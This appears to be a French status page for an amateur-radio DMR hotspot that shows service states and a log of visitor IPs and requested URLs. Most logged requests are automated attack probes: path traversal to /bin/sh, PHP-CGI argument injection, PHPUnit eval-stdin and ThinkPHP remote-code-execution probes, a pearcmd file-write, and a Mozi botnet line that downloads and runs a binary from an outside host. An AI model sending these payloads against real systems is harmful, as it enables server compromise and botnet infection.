Tableau des IP visitant le site

Visites totales : 171 | Visiteurs uniques : 53

Mise a jour : Thu, 16 Apr 2026 12:35:54 +0200

F73DMR Dv-Switch Hot-Spot

Etat des services DVSwitch, FreeDMR & SvxLink

ServiceEtat
ADN DMR Server active
ADN Proxy active
ADN Parrot active
Web Server active
FDMR-Monitor OA4DOA active
Analog_Bridge active
MMDVM_Bridge active
SvxLink inactive
Nom / IPTotal visitesPage consulteeVisites par pageDerniere visite
115.248.8.65 46 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh 1 2026-04-16 05:03:07
115.248.8.65 46 /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh 1 2026-04-16 05:03:08
115.248.8.65 46 /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input 1 2026-04-16 05:03:10
115.248.8.65 46 /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input 1 2026-04-16 05:03:11
115.248.8.65 46 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:12
115.248.8.65 46 /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:13
115.248.8.65 46 /vendor/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:14
115.248.8.65 46 /vendor/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:15
115.248.8.65 46 /vendor/phpunit/phpunit/LICENSE/eval-stdin.php 1 2026-04-16 05:03:17
115.248.8.65 46 /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:18
115.248.8.65 46 /phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:19
115.248.8.65 46 /phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:20
115.248.8.65 46 /phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:21
115.248.8.65 46 /phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:23
115.248.8.65 46 /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:24
115.248.8.65 46 /lib/phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:25
115.248.8.65 46 /lib/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:26
115.248.8.65 46 /lib/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:28
115.248.8.65 46 /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:29
115.248.8.65 46 /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:30
115.248.8.65 46 /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:32
115.248.8.65 46 /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:33
115.248.8.65 46 /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:34
115.248.8.65 46 /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:36
115.248.8.65 46 /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:37
115.248.8.65 46 /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:38
115.248.8.65 46 /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:39
115.248.8.65 46 /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:41
115.248.8.65 46 /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:42
115.248.8.65 46 /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:43
115.248.8.65 46 /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:44
115.248.8.65 46 /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:45
115.248.8.65 46 /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:46
115.248.8.65 46 /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:47
115.248.8.65 46 /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:49
115.248.8.65 46 /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:50
115.248.8.65 46 /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:51
115.248.8.65 46 /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:53
115.248.8.65 46 /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:54
115.248.8.65 46 /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:55
115.248.8.65 46 /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 05:03:56
115.248.8.65 46 /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello 1 2026-04-16 05:03:58
115.248.8.65 46 /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello 1 2026-04-16 05:03:59
115.248.8.65 46 /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php 1 2026-04-16 05:04:00
115.248.8.65 46 /index.php?lang=../../../../../../../../tmp/index1 1 2026-04-16 05:04:02
115.248.8.65 46 /containers/json 1 2026-04-16 05:04:03
163.7.6.154 46 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh 1 2026-04-16 11:17:19
163.7.6.154 46 /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input 1 2026-04-16 11:17:23
163.7.6.154 46 /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input 1 2026-04-16 11:17:24
163.7.6.154 46 /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh 1 2026-04-16 11:17:25
163.7.6.154 46 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:25
163.7.6.154 46 /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:25
163.7.6.154 46 /vendor/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:26
163.7.6.154 46 /vendor/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:27
163.7.6.154 46 /vendor/phpunit/phpunit/LICENSE/eval-stdin.php 1 2026-04-16 11:17:32
163.7.6.154 46 /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:33
163.7.6.154 46 /phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:34
163.7.6.154 46 /phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:34
163.7.6.154 46 /phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:35
163.7.6.154 46 /phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:35
163.7.6.154 46 /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:37
163.7.6.154 46 /lib/phpunit/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:37
163.7.6.154 46 /lib/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:38
163.7.6.154 46 /lib/phpunit/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:39
163.7.6.154 46 /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:47
163.7.6.154 46 /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:47
163.7.6.154 46 /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:48
163.7.6.154 46 /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:48
163.7.6.154 46 /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:50
163.7.6.154 46 /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:51
163.7.6.154 46 /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:51
163.7.6.154 46 /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:52
163.7.6.154 46 /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:52
163.7.6.154 46 /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:53
163.7.6.154 46 /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:54
163.7.6.154 46 /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:58
163.7.6.154 46 /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:58
163.7.6.154 46 /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:17:59
163.7.6.154 46 /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:00
163.7.6.154 46 /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:00
163.7.6.154 46 /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:01
163.7.6.154 46 /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:02
163.7.6.154 46 /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:03
163.7.6.154 46 /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:03
163.7.6.154 46 /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:11
163.7.6.154 46 /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:11
163.7.6.154 46 /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 2026-04-16 11:18:42
163.7.6.154 46 /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello 1 2026-04-16 11:18:42
163.7.6.154 46 /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello 1 2026-04-16 11:18:43
163.7.6.154 46 /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php 1 2026-04-16 11:18:43
163.7.6.154 46 /index.php?lang=../../../../../../../../tmp/index1 1 2026-04-16 11:18:44
163.7.6.154 46 /containers/json 1 2026-04-16 11:18:46
216.73.216.57 9 /robots.txt 2 2026-04-16 10:23:59
216.73.216.57 9 /index.php 1 2026-04-16 10:23:59
216.73.216.57 9 /img/logo.png?random=323527528432525.24234 1 2026-04-16 10:24:27
216.73.216.57 9 /opb.php 1 2026-04-16 10:25:41
216.73.216.57 9 /log.php 1 2026-04-16 10:27:02
216.73.216.57 9 /favicon.ico 1 2026-04-16 10:28:11
216.73.216.57 9 /scripts/hbmon.js 1 2026-04-16 10:30:25
216.73.216.57 9 /sysinfo.php 1 2026-04-16 10:32:13
204.76.203.206 9 / 9 2026-04-16 11:29:31
66.132.172.183 4 / 1 2026-04-16 00:46:37
66.132.172.183 4 /favicon.ico 1 2026-04-16 00:46:45
66.132.172.183 4 /.well-known/security.txt 1 2026-04-16 00:47:37
66.132.172.183 4 /tmr2866o3hp6672 1 2026-04-16 00:47:38
3.129.187.38 2 / 2 2026-04-16 03:57:49
79.124.40.174 2 /?XDEBUG_SESSION_START=phpstorm 1 2026-04-16 11:27:37
79.124.40.174 2 /actuator/gateway/routes 1 2026-04-16 12:26:26
185.242.226.108 2 / 1 2026-04-16 09:43:19
185.242.226.108 2 /favicon.ico 1 2026-04-16 09:43:55
47.84.112.180 2 / 2 2026-04-16 07:48:55
45.205.1.28 2 / 2 2026-04-16 08:30:07
20.100.169.43 2 /wp-content/plugins/hellopress/wp_filemanager.php 1 2026-04-16 06:51:42
20.100.169.43 2 /wp-config-sample.php 1 2026-04-16 06:51:42
3.132.26.232 2 / 2 2026-04-16 04:02:25
216.73.216.37 2 /robots.txt 2 2026-04-16 12:35:54
165.227.80.157 2 / 1 2026-04-16 02:58:43
165.227.80.157 2 /favicon.ico 1 2026-04-16 02:58:44
185.247.137.89 1 / 1 2026-04-16 10:27:17
167.172.56.182 1 /boaform/admin/formLogin 1 2026-04-16 08:23:00
66.228.53.136 1 / 1 2026-04-16 08:44:53
193.124.20.245 1 / 1 2026-04-16 09:26:05
149.102.240.182 1 / 1 2026-04-16 09:33:37
113.200.71.103 1 / 1 2026-04-16 01:44:16
125.47.84.143 1 /boaform/admin/formLogin?username=ec8&psd=ec8 1 2026-04-16 10:22:14
147.185.132.39 1 / 1 2026-04-16 01:32:22
185.247.137.202 1 /favicon.ico 1 2026-04-16 10:27:17
77.90.185.118 1 / 1 2026-04-16 08:13:00
43.153.102.138 1 / 1 2026-04-16 11:14:05
170.106.37.134 1 / 1 2026-04-16 11:16:16
43.165.190.5 1 / 1 2026-04-16 01:22:50
177.25.202.39 1 /shell?cd+/tmp;rm+-rf+*;wget+http://177.25.202.39:32927/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 1 2026-04-16 01:00:00
170.106.110.146 1 / 1 2026-04-16 11:31:46
34.14.23.97 1 / 1 2026-04-16 11:32:04
198.235.24.200 1 / 1 2026-04-16 12:35:13
20.40.57.93 1 / 1 2026-04-16 08:19:19
123.245.85.215 1 / 1 2026-04-16 01:44:50
46.101.46.29 1 /boaform/admin/formLogin 1 2026-04-16 03:10:59
183.179.18.242 1 / 1 2026-04-16 05:26:25
134.209.236.204 1 /v2/_catalog 1 2026-04-16 02:07:03
93.174.93.12 1 / 1 2026-04-16 01:53:30
5.61.209.107 1 /SDK/webLanguage 1 2026-04-16 04:33:32
45.79.8.221 1 / 1 2026-04-16 04:33:59
20.168.124.0 1 /hudson 1 2026-04-16 04:36:41
43.131.45.213 1 / 1 2026-04-16 01:46:42
103.9.159.151 1 / 1 2026-04-16 05:08:06
45.79.207.252 1 / 1 2026-04-16 05:33:37
43.248.109.143 1 /favicon.ico 1 2026-04-16 01:44:51
162.216.150.195 1 / 1 2026-04-16 06:14:35
45.79.207.71 1 / 1 2026-04-16 06:32:58
121.29.149.199 1 / 1 2026-04-16 01:46:26
43.154.140.188 1 / 1 2026-04-16 06:38:01
172.236.3.214 1 / 1 2026-04-16 06:51:09
106.117.110.34 1 / 1 2026-04-16 01:46:06
43.130.111.40 1 / 1 2026-04-16 06:55:41
172.234.217.129 1 / 1 2026-04-16 06:55:53
85.239.52.41 1 / 1 2026-04-16 06:33:45

Ressources systeme

RAM utilisee : 1,237.2 Mo / 2,022.0 Mo (61.2 %)

Interface : enp0s3